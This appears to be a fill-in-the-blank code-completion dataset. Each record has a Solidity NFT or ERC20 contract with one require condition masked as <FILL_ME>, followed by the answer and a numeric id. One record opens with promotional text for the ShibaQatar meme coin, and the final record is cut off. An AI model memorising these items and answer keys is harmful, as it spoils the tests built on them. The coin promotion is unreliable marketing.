minWhitelistLevel; } mapping(uint256 => Sale) public sales; uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status = 1; event Mint(uint256 indexed _id, address indexed _operator); modifier nonReentrant() { } modifier onlyFAME() { } constructor(FAME_FRONTROW_2022 _frontrow) { } function mintableAmountOf(address _owner) public view returns (uint256) { } function mint(uint256 _salesId, uint256 _amount) external payable nonReentrant { } function privateInvitations(address[] memory _to) external onlyFAME { } function addWhitelist(address _account) public onlyFAME { } function addWhitelistBatch(address[] memory _accounts) external onlyFAME { } function setWhitelist(address _account, uint256 _value) public onlyFAME { } function setWhitelistBatch(address[] memory _accounts, uint256 _value) external onlyFAME { } function setSales(uint256 _salesId, uint256 _open, uint256 _limit, uint256 _price, uint256 _minWhitelistLevel) external onlyFAME { } function withdraw() external { } }
volume+_amount<=maxVolume,"FAME_FRONTROW_2022: cannot mint more"
436,347
volume+_amount<=maxVolume
"FAME_FACTORY_FRONTROW_2022: market closed"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } interface ERC1155 is ERC165 { event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _value, uint256 indexed _id); function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; function balanceOf(address _owner, uint256 _id) external view returns (uint256); function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface ERC1155TokenReceiver is ERC165 { function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4); function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4); } interface ERC1155Metadata_URI is ERC165 { function uri(uint256 _id) external view returns (string memory); } abstract contract FAME_WHITELIST is ERC165, ERC1155, ERC1155Metadata_URI { function isWhitelist(address _account) public view virtual returns (uint256) {} } contract FAME_FRONTROW_2022 is FAME_WHITELIST { address payable public factory; string public constant name = "FAME FRONTROW 2022"; address public constant owner = 0x4a3E0107381252519ee681e58616810508656a14; uint256 public volume = 0; uint256 public maxVolume = 10_000; mapping(uint256 => address) private owners; mapping(uint256 => bytes32) private types; mapping(address => uint256) private totalBalances; mapping(address => mapping(address => bool)) private operatorApprovals; string private baseURI = "https://xfame.app/metadata/frontrow-2022/"; modifier onlyFAME() { } modifier onlyFactory() { } constructor() { } function supportsInterface(bytes4 interfaceId) external pure override returns (bool) { } function uri(uint256 _id) external view override returns (string memory) { } function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public override { } function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) external override { } function balanceOf(address _account, uint256 _id) public view override returns (uint256) { } function balanceOfBatch(address[] memory _accounts, uint256[] memory _ids) external view override returns (uint256[] memory) { } function setApprovalForAll(address _operator, bool _approved) external override { } function isApprovedForAll(address _account, address _operator) public view override returns (bool) { } function ownerOf(uint256 _id) public view returns (address) { } function typeOf(uint256 _id) external view returns (bytes32) { } function isWhitelist(address _account) public view override returns (uint256) { } function setFactory(address _factory) external onlyFAME { } function setURI(string memory _uri) external onlyFAME { } function setMaxVolume(uint256 _maxVolume) external onlyFAME { } function setType(uint256 _id, bytes32 _type) public onlyFAME { } function setTypeBatch(uint256[] memory _ids, bytes32[] memory _types) external onlyFAME { } function mint(address _operator, address _to, uint256 _amount, bytes memory _data) external onlyFactory() { } function _mint(address _operator, address _to, bytes memory _data) private { } function _mintBatch(address _operator, address _to, uint256 _amount, bytes memory _data) private { } function _doSafeTransferAcceptanceCheck(address _operator, address _from, address _to, uint256 id, uint256 amount, bytes memory _data) private { } function _doSafeBatchTransferAcceptanceCheck(address _operator, address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) private { } function _toString(uint256 value) internal pure returns (string memory) { } } contract FAME_FACTORY_FRONTROW_2022 { address payable private constant FAME_UNIVERSE = payable(0x4a3E0107381252519ee681e58616810508656a14); FAME_FRONTROW_2022 private frontrow; mapping(address => uint256) public whitelist; mapping(address => uint256) private mintedAmounts; uint256 private constant MaxMintableAmount = 3; struct Sale { uint256 open; uint256 limit; uint256 price; uint256 minWhitelistLevel; } mapping(uint256 => Sale) public sales; uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status = 1; event Mint(uint256 indexed _id, address indexed _operator); modifier nonReentrant() { } modifier onlyFAME() { } constructor(FAME_FRONTROW_2022 _frontrow) { } function mintableAmountOf(address _owner) public view returns (uint256) { } function mint(uint256 _salesId, uint256 _amount) external payable nonReentrant { Sale memory sale = sales[_salesId]; uint256 volume = frontrow.volume(); require(_amount > 0 && _amount <= mintableAmountOf(msg.sender), "FAME_FACTORY_FRONTROW_2022: invalid minting amount"); require(msg.value == _amount * sale.price, "FAME_FACTORY_FRONTROW_2022: wrong value"); require(block.timestamp >= sale.open, "FAME_FACTORY_FRONTROW_2022: market not open"); require(<FILL_ME>) require(whitelist[msg.sender] >= sale.minWhitelistLevel, "FAME_FACTORY_FRONTROW_2022: only available for whitelist members"); frontrow.mint(msg.sender, msg.sender, _amount, ''); mintedAmounts[msg.sender] += _amount; for (uint256 i = 0; i < _amount; i++) { emit Mint(volume + i, msg.sender); } } function privateInvitations(address[] memory _to) external onlyFAME { } function addWhitelist(address _account) public onlyFAME { } function addWhitelistBatch(address[] memory _accounts) external onlyFAME { } function setWhitelist(address _account, uint256 _value) public onlyFAME { } function setWhitelistBatch(address[] memory _accounts, uint256 _value) external onlyFAME { } function setSales(uint256 _salesId, uint256 _open, uint256 _limit, uint256 _price, uint256 _minWhitelistLevel) external onlyFAME { } function withdraw() external { } }
volume+_amount<=sale.limit,"FAME_FACTORY_FRONTROW_2022: market closed"
436,347
volume+_amount<=sale.limit
"FAME_FACTORY_FRONTROW_2022: only available for whitelist members"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } interface ERC1155 is ERC165 { event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _value, uint256 indexed _id); function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; function balanceOf(address _owner, uint256 _id) external view returns (uint256); function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface ERC1155TokenReceiver is ERC165 { function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4); function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4); } interface ERC1155Metadata_URI is ERC165 { function uri(uint256 _id) external view returns (string memory); } abstract contract FAME_WHITELIST is ERC165, ERC1155, ERC1155Metadata_URI { function isWhitelist(address _account) public view virtual returns (uint256) {} } contract FAME_FRONTROW_2022 is FAME_WHITELIST { address payable public factory; string public constant name = "FAME FRONTROW 2022"; address public constant owner = 0x4a3E0107381252519ee681e58616810508656a14; uint256 public volume = 0; uint256 public maxVolume = 10_000; mapping(uint256 => address) private owners; mapping(uint256 => bytes32) private types; mapping(address => uint256) private totalBalances; mapping(address => mapping(address => bool)) private operatorApprovals; string private baseURI = "https://xfame.app/metadata/frontrow-2022/"; modifier onlyFAME() { } modifier onlyFactory() { } constructor() { } function supportsInterface(bytes4 interfaceId) external pure override returns (bool) { } function uri(uint256 _id) external view override returns (string memory) { } function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public override { } function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) external override { } function balanceOf(address _account, uint256 _id) public view override returns (uint256) { } function balanceOfBatch(address[] memory _accounts, uint256[] memory _ids) external view override returns (uint256[] memory) { } function setApprovalForAll(address _operator, bool _approved) external override { } function isApprovedForAll(address _account, address _operator) public view override returns (bool) { } function ownerOf(uint256 _id) public view returns (address) { } function typeOf(uint256 _id) external view returns (bytes32) { } function isWhitelist(address _account) public view override returns (uint256) { } function setFactory(address _factory) external onlyFAME { } function setURI(string memory _uri) external onlyFAME { } function setMaxVolume(uint256 _maxVolume) external onlyFAME { } function setType(uint256 _id, bytes32 _type) public onlyFAME { } function setTypeBatch(uint256[] memory _ids, bytes32[] memory _types) external onlyFAME { } function mint(address _operator, address _to, uint256 _amount, bytes memory _data) external onlyFactory() { } function _mint(address _operator, address _to, bytes memory _data) private { } function _mintBatch(address _operator, address _to, uint256 _amount, bytes memory _data) private { } function _doSafeTransferAcceptanceCheck(address _operator, address _from, address _to, uint256 id, uint256 amount, bytes memory _data) private { } function _doSafeBatchTransferAcceptanceCheck(address _operator, address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) private { } function _toString(uint256 value) internal pure returns (string memory) { } } contract FAME_FACTORY_FRONTROW_2022 { address payable private constant FAME_UNIVERSE = payable(0x4a3E0107381252519ee681e58616810508656a14); FAME_FRONTROW_2022 private frontrow; mapping(address => uint256) public whitelist; mapping(address => uint256) private mintedAmounts; uint256 private constant MaxMintableAmount = 3; struct Sale { uint256 open; uint256 limit; uint256 price; uint256 minWhitelistLevel; } mapping(uint256 => Sale) public sales; uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status = 1; event Mint(uint256 indexed _id, address indexed _operator); modifier nonReentrant() { } modifier onlyFAME() { } constructor(FAME_FRONTROW_2022 _frontrow) { } function mintableAmountOf(address _owner) public view returns (uint256) { } function mint(uint256 _salesId, uint256 _amount) external payable nonReentrant { Sale memory sale = sales[_salesId]; uint256 volume = frontrow.volume(); require(_amount > 0 && _amount <= mintableAmountOf(msg.sender), "FAME_FACTORY_FRONTROW_2022: invalid minting amount"); require(msg.value == _amount * sale.price, "FAME_FACTORY_FRONTROW_2022: wrong value"); require(block.timestamp >= sale.open, "FAME_FACTORY_FRONTROW_2022: market not open"); require(volume + _amount <= sale.limit, "FAME_FACTORY_FRONTROW_2022: market closed"); require(<FILL_ME>) frontrow.mint(msg.sender, msg.sender, _amount, ''); mintedAmounts[msg.sender] += _amount; for (uint256 i = 0; i < _amount; i++) { emit Mint(volume + i, msg.sender); } } function privateInvitations(address[] memory _to) external onlyFAME { } function addWhitelist(address _account) public onlyFAME { } function addWhitelistBatch(address[] memory _accounts) external onlyFAME { } function setWhitelist(address _account, uint256 _value) public onlyFAME { } function setWhitelistBatch(address[] memory _accounts, uint256 _value) external onlyFAME { } function setSales(uint256 _salesId, uint256 _open, uint256 _limit, uint256 _price, uint256 _minWhitelistLevel) external onlyFAME { } function withdraw() external { } }
whitelist[msg.sender]>=sale.minWhitelistLevel,"FAME_FACTORY_FRONTROW_2022: only available for whitelist members"
436,347
whitelist[msg.sender]>=sale.minWhitelistLevel
"Address ja reivindicado"
pragma solidity 0.8.4; pragma abicoder v2; contract Brazuera is ERC721A, Ownable { using Address for address; using Strings for uint256; bytes32 public root; bytes32[] public merkleProof; mapping(address => bool) public whitelistClaimed; string private baseURI; //Deve ser a URL do json do pinata: string private baseExtension = ".json"; string private notRevealedUri = ""; uint256 private maxSupply = 500; uint256 private maxMintAmount = 5; uint256 private FreeMintPerAddressLimit = 1; bool private paused = true; bool private onlyWhitelisted = false; address[] public whitelistedAddresses; mapping(address => uint256) private addressMintedBalance; mapping(uint256 => uint) private _availableTokens; uint256 private _numAvailableTokens; string private _contractUri; address _contractOwner; mapping (address => bool) private _affiliates; bool private _allowAffiliateProgram = true; uint private _affiliateProgramPercentage = 15; bool private _allowRecommendation = true; uint256 private _recommendationPercentage = 10; uint256 private _royalties = 10; uint256 private nftWhitelistDiscount = 14; mapping(address => uint256) private _addressLastMintedTokenId; bool private _isFreeMint = false; uint256 private _nftEtherValue = 25000000000000000; event _transferSend(address _from, address _to, uint _amount); constructor( string memory _initBaseURI, bytes32 _root, string memory _contractURI ) ERC721A("Brazuera - O Conselho", "BZ") { } function isValid(bytes32[] memory proof, bytes32 leaf) public view returns (bool) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setFreeMintPerAddressLimit(uint256 _limit) public onlyOwner { } function setOnlyWhitelisted(bool _state) public onlyOwner { } function isOnlyWhitelist() public view returns (bool) { } function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setAllowAffiliateProgram(bool _state) public onlyOwner { } function setAffiliateProgramPercentage(uint256 percentage) public onlyOwner { } function withdraw() public payable onlyOwner { } function setMaxSupply(uint256 _maxSupply) public onlyOwner { } function setNftEtherValue(uint256 nftEtherValue) public onlyOwner { } function setAffiliate(address manager, bool state) public onlyOwner { } function setIsFreeMint(bool state) public onlyOwner { } function getQtdAvailableTokens() public view returns (uint256) { } function getMaxSupply() public view returns (uint) { } function getNftEtherValue(address wallet, bytes32[] memory proof) public view returns (uint) { } function getAddressLastMintedTokenId(address wallet) public view returns (uint256) { } function getMaxMintAmount() public view returns (uint256) { } function getBalance() public view returns (uint) { } function getBaseURI() public view returns (string memory) { } function getNFTURI(uint256 tokenId) public view returns(string memory){ } function isAffliliated(address wallet) public view returns (bool) { } function contractIsFreeMint() public view returns (bool) { } function isPaused() public view returns (bool) { } function isWhitelisted(address _user, bytes32[] memory proof) public view returns (bool) { } function mint( uint256 _mintAmount, address payable _recommendedBy, uint256 _indicationType, //1=directlink, 2=affiliate, 3=recomendation address payable endUser, bytes32[] memory proof ) public payable { require(!paused, "O contrato pausado"); uint256 supply = totalSupply(); require(_mintAmount > 0, "Precisa mintar pelo menos 1 NFT"); require(_mintAmount + balanceOf(endUser) <= maxMintAmount, "Quantidade limite de mint por carteira excedida"); require(supply + _mintAmount <= maxSupply, "Quantidade limite de NFT excedida"); if(onlyWhitelisted) { require(<FILL_ME>) require(isValid(proof, keccak256(abi.encodePacked(endUser))), "Nao faz parte da Whitelist"); } if(_indicationType == 2) { require(_allowAffiliateProgram, "No momento o programa de afiliados se encontra desativado"); } if(!_isFreeMint ) { if(!isValid(proof, keccak256(abi.encodePacked(endUser)))) { split(_mintAmount, _recommendedBy, _indicationType, proof); } else { uint tokensIds = walletOfOwner(endUser); if(tokensIds > 0){ split(_mintAmount, _recommendedBy, _indicationType, proof); } } } uint256 updatedNumAvailableTokens = maxSupply - totalSupply(); for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[endUser]++; _safeMint(endUser, 1); uint256 newIdToken = supply + 1; tokenURI(newIdToken); --updatedNumAvailableTokens; _addressLastMintedTokenId[endUser] = i; } if (onlyWhitelisted) { whitelistClaimed[endUser] = true; } _numAvailableTokens = updatedNumAvailableTokens; } function contractURI() external view returns (string memory) { } function setContractURI(string memory contractURI_) external onlyOwner { } function tokenURI(uint256 tokenId) public view virtual returns (string memory) { } function walletOfOwner(address _owner) public view returns (uint) { } function split(uint256 _mintAmount, address payable _recommendedBy, uint256 _indicationType, bytes32[] memory proof) public payable { } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { } }
!whitelistClaimed[endUser],"Address ja reivindicado"
436,373
!whitelistClaimed[endUser]
"Nao faz parte da Whitelist"
pragma solidity 0.8.4; pragma abicoder v2; contract Brazuera is ERC721A, Ownable { using Address for address; using Strings for uint256; bytes32 public root; bytes32[] public merkleProof; mapping(address => bool) public whitelistClaimed; string private baseURI; //Deve ser a URL do json do pinata: string private baseExtension = ".json"; string private notRevealedUri = ""; uint256 private maxSupply = 500; uint256 private maxMintAmount = 5; uint256 private FreeMintPerAddressLimit = 1; bool private paused = true; bool private onlyWhitelisted = false; address[] public whitelistedAddresses; mapping(address => uint256) private addressMintedBalance; mapping(uint256 => uint) private _availableTokens; uint256 private _numAvailableTokens; string private _contractUri; address _contractOwner; mapping (address => bool) private _affiliates; bool private _allowAffiliateProgram = true; uint private _affiliateProgramPercentage = 15; bool private _allowRecommendation = true; uint256 private _recommendationPercentage = 10; uint256 private _royalties = 10; uint256 private nftWhitelistDiscount = 14; mapping(address => uint256) private _addressLastMintedTokenId; bool private _isFreeMint = false; uint256 private _nftEtherValue = 25000000000000000; event _transferSend(address _from, address _to, uint _amount); constructor( string memory _initBaseURI, bytes32 _root, string memory _contractURI ) ERC721A("Brazuera - O Conselho", "BZ") { } function isValid(bytes32[] memory proof, bytes32 leaf) public view returns (bool) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setFreeMintPerAddressLimit(uint256 _limit) public onlyOwner { } function setOnlyWhitelisted(bool _state) public onlyOwner { } function isOnlyWhitelist() public view returns (bool) { } function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setAllowAffiliateProgram(bool _state) public onlyOwner { } function setAffiliateProgramPercentage(uint256 percentage) public onlyOwner { } function withdraw() public payable onlyOwner { } function setMaxSupply(uint256 _maxSupply) public onlyOwner { } function setNftEtherValue(uint256 nftEtherValue) public onlyOwner { } function setAffiliate(address manager, bool state) public onlyOwner { } function setIsFreeMint(bool state) public onlyOwner { } function getQtdAvailableTokens() public view returns (uint256) { } function getMaxSupply() public view returns (uint) { } function getNftEtherValue(address wallet, bytes32[] memory proof) public view returns (uint) { } function getAddressLastMintedTokenId(address wallet) public view returns (uint256) { } function getMaxMintAmount() public view returns (uint256) { } function getBalance() public view returns (uint) { } function getBaseURI() public view returns (string memory) { } function getNFTURI(uint256 tokenId) public view returns(string memory){ } function isAffliliated(address wallet) public view returns (bool) { } function contractIsFreeMint() public view returns (bool) { } function isPaused() public view returns (bool) { } function isWhitelisted(address _user, bytes32[] memory proof) public view returns (bool) { } function mint( uint256 _mintAmount, address payable _recommendedBy, uint256 _indicationType, //1=directlink, 2=affiliate, 3=recomendation address payable endUser, bytes32[] memory proof ) public payable { require(!paused, "O contrato pausado"); uint256 supply = totalSupply(); require(_mintAmount > 0, "Precisa mintar pelo menos 1 NFT"); require(_mintAmount + balanceOf(endUser) <= maxMintAmount, "Quantidade limite de mint por carteira excedida"); require(supply + _mintAmount <= maxSupply, "Quantidade limite de NFT excedida"); if(onlyWhitelisted) { require(!whitelistClaimed[endUser], "Address ja reivindicado"); require(<FILL_ME>) } if(_indicationType == 2) { require(_allowAffiliateProgram, "No momento o programa de afiliados se encontra desativado"); } if(!_isFreeMint ) { if(!isValid(proof, keccak256(abi.encodePacked(endUser)))) { split(_mintAmount, _recommendedBy, _indicationType, proof); } else { uint tokensIds = walletOfOwner(endUser); if(tokensIds > 0){ split(_mintAmount, _recommendedBy, _indicationType, proof); } } } uint256 updatedNumAvailableTokens = maxSupply - totalSupply(); for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[endUser]++; _safeMint(endUser, 1); uint256 newIdToken = supply + 1; tokenURI(newIdToken); --updatedNumAvailableTokens; _addressLastMintedTokenId[endUser] = i; } if (onlyWhitelisted) { whitelistClaimed[endUser] = true; } _numAvailableTokens = updatedNumAvailableTokens; } function contractURI() external view returns (string memory) { } function setContractURI(string memory contractURI_) external onlyOwner { } function tokenURI(uint256 tokenId) public view virtual returns (string memory) { } function walletOfOwner(address _owner) public view returns (uint) { } function split(uint256 _mintAmount, address payable _recommendedBy, uint256 _indicationType, bytes32[] memory proof) public payable { } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { } }
isValid(proof,keccak256(abi.encodePacked(endUser))),"Nao faz parte da Whitelist"
436,373
isValid(proof,keccak256(abi.encodePacked(endUser)))
"Valor da mintagem diferente do valor definido no contrato"
pragma solidity 0.8.4; pragma abicoder v2; contract Brazuera is ERC721A, Ownable { using Address for address; using Strings for uint256; bytes32 public root; bytes32[] public merkleProof; mapping(address => bool) public whitelistClaimed; string private baseURI; //Deve ser a URL do json do pinata: string private baseExtension = ".json"; string private notRevealedUri = ""; uint256 private maxSupply = 500; uint256 private maxMintAmount = 5; uint256 private FreeMintPerAddressLimit = 1; bool private paused = true; bool private onlyWhitelisted = false; address[] public whitelistedAddresses; mapping(address => uint256) private addressMintedBalance; mapping(uint256 => uint) private _availableTokens; uint256 private _numAvailableTokens; string private _contractUri; address _contractOwner; mapping (address => bool) private _affiliates; bool private _allowAffiliateProgram = true; uint private _affiliateProgramPercentage = 15; bool private _allowRecommendation = true; uint256 private _recommendationPercentage = 10; uint256 private _royalties = 10; uint256 private nftWhitelistDiscount = 14; mapping(address => uint256) private _addressLastMintedTokenId; bool private _isFreeMint = false; uint256 private _nftEtherValue = 25000000000000000; event _transferSend(address _from, address _to, uint _amount); constructor( string memory _initBaseURI, bytes32 _root, string memory _contractURI ) ERC721A("Brazuera - O Conselho", "BZ") { } function isValid(bytes32[] memory proof, bytes32 leaf) public view returns (bool) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setFreeMintPerAddressLimit(uint256 _limit) public onlyOwner { } function setOnlyWhitelisted(bool _state) public onlyOwner { } function isOnlyWhitelist() public view returns (bool) { } function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setAllowAffiliateProgram(bool _state) public onlyOwner { } function setAffiliateProgramPercentage(uint256 percentage) public onlyOwner { } function withdraw() public payable onlyOwner { } function setMaxSupply(uint256 _maxSupply) public onlyOwner { } function setNftEtherValue(uint256 nftEtherValue) public onlyOwner { } function setAffiliate(address manager, bool state) public onlyOwner { } function setIsFreeMint(bool state) public onlyOwner { } function getQtdAvailableTokens() public view returns (uint256) { } function getMaxSupply() public view returns (uint) { } function getNftEtherValue(address wallet, bytes32[] memory proof) public view returns (uint) { } function getAddressLastMintedTokenId(address wallet) public view returns (uint256) { } function getMaxMintAmount() public view returns (uint256) { } function getBalance() public view returns (uint) { } function getBaseURI() public view returns (string memory) { } function getNFTURI(uint256 tokenId) public view returns(string memory){ } function isAffliliated(address wallet) public view returns (bool) { } function contractIsFreeMint() public view returns (bool) { } function isPaused() public view returns (bool) { } function isWhitelisted(address _user, bytes32[] memory proof) public view returns (bool) { } function mint( uint256 _mintAmount, address payable _recommendedBy, uint256 _indicationType, //1=directlink, 2=affiliate, 3=recomendation address payable endUser, bytes32[] memory proof ) public payable { } function contractURI() external view returns (string memory) { } function setContractURI(string memory contractURI_) external onlyOwner { } function tokenURI(uint256 tokenId) public view virtual returns (string memory) { } function walletOfOwner(address _owner) public view returns (uint) { } function split(uint256 _mintAmount, address payable _recommendedBy, uint256 _indicationType, bytes32[] memory proof) public payable { uint256 _nftEtherValueTemp = _nftEtherValue; if( isValid( proof, keccak256( abi.encodePacked(msg.sender) ) ) ) { if (whitelistClaimed[msg.sender]) { _nftEtherValueTemp = _nftEtherValue; } //uint256 amount = _nftEtherValue * nftWhitelistDiscount / 100; //uint256 amountPercent = _nftEtherValue - amount; _nftEtherValueTemp = _nftEtherValue; } else { _nftEtherValueTemp = _nftEtherValue; } require(<FILL_ME>) uint ownerAmount = msg.value; if(_indicationType > 1) { uint256 _splitPercentage = _recommendationPercentage; if(_indicationType == 2 && _allowAffiliateProgram) { if( _affiliates[_recommendedBy] ) { _splitPercentage = _affiliateProgramPercentage; } } uint256 amount = msg.value * _splitPercentage / 100; ownerAmount = msg.value - amount; emit _transferSend(msg.sender, _recommendedBy, amount); _recommendedBy.transfer(amount); } payable(_contractOwner).transfer(ownerAmount); } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { } }
msg.value>=(_nftEtherValueTemp*_mintAmount),"Valor da mintagem diferente do valor definido no contrato"
436,373
msg.value>=(_nftEtherValueTemp*_mintAmount)
"Cannot hold more than 5% of total supply"
pragma solidity ^0.8.0; contract Habibi is ERC20 { using SafeERC20 for IERC20; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address private _owner; constructor(address _router) ERC20("Habibi", "HAB") { } function owner() public view returns (address) { } // Declare the `onlyOwner` modifier modifier onlyOwner() { } function _beforeTokenTransfer(address from, address to, uint256 amount) internal override { super._beforeTokenTransfer(from, to, amount); if (from != address(0) && to != address(0) && to != address(this)) { // Ignore minting, burning and adding liquidity uint256 maxHeldTokens = (totalSupply() * 5) / 100; // 5% of the total supply require(<FILL_ME>) } } function addLiquidityAndBurnLP(uint256 tokenAmount, uint256 ethAmount) external onlyOwner { } // Function to receive ETH when calling addLiquidityAndBurnLP receive() external payable {} function renounceOwnership() public onlyOwner { } }
balanceOf(to)+amount<=maxHeldTokens,"Cannot hold more than 5% of total supply"
436,385
balanceOf(to)+amount<=maxHeldTokens
"Buy fee must be less than 10"
/** INTRODUCE SHIBAQATAR 🇶🇦🐕ShibaQatar - $SHQ is a decentralized coin built on ETH chain inspired by the world’s most prestigious sports tournament, a sport that unites people with common interests, competition and love for football and the King of meme Shiba We strongly believe that we can use the hype of this year's world cup to promote our brand and expand it with time.🇶🇦🐕 👨‍💻 Checkout the Socials to get chance 👇 Tg: https://t.me/ShibaQatarErc20 Tw: https://twitter.com/ShibaQatarErc20 Reddit: https://www.reddit.com/user/ShibaQatar-eth-123 Medium: https://medium.com/@ShibaQatar.eth */ // SPDX-License-Identifier: MIT pragma solidity ^0.8; library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer( address from, address to, uint256 amount ) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address 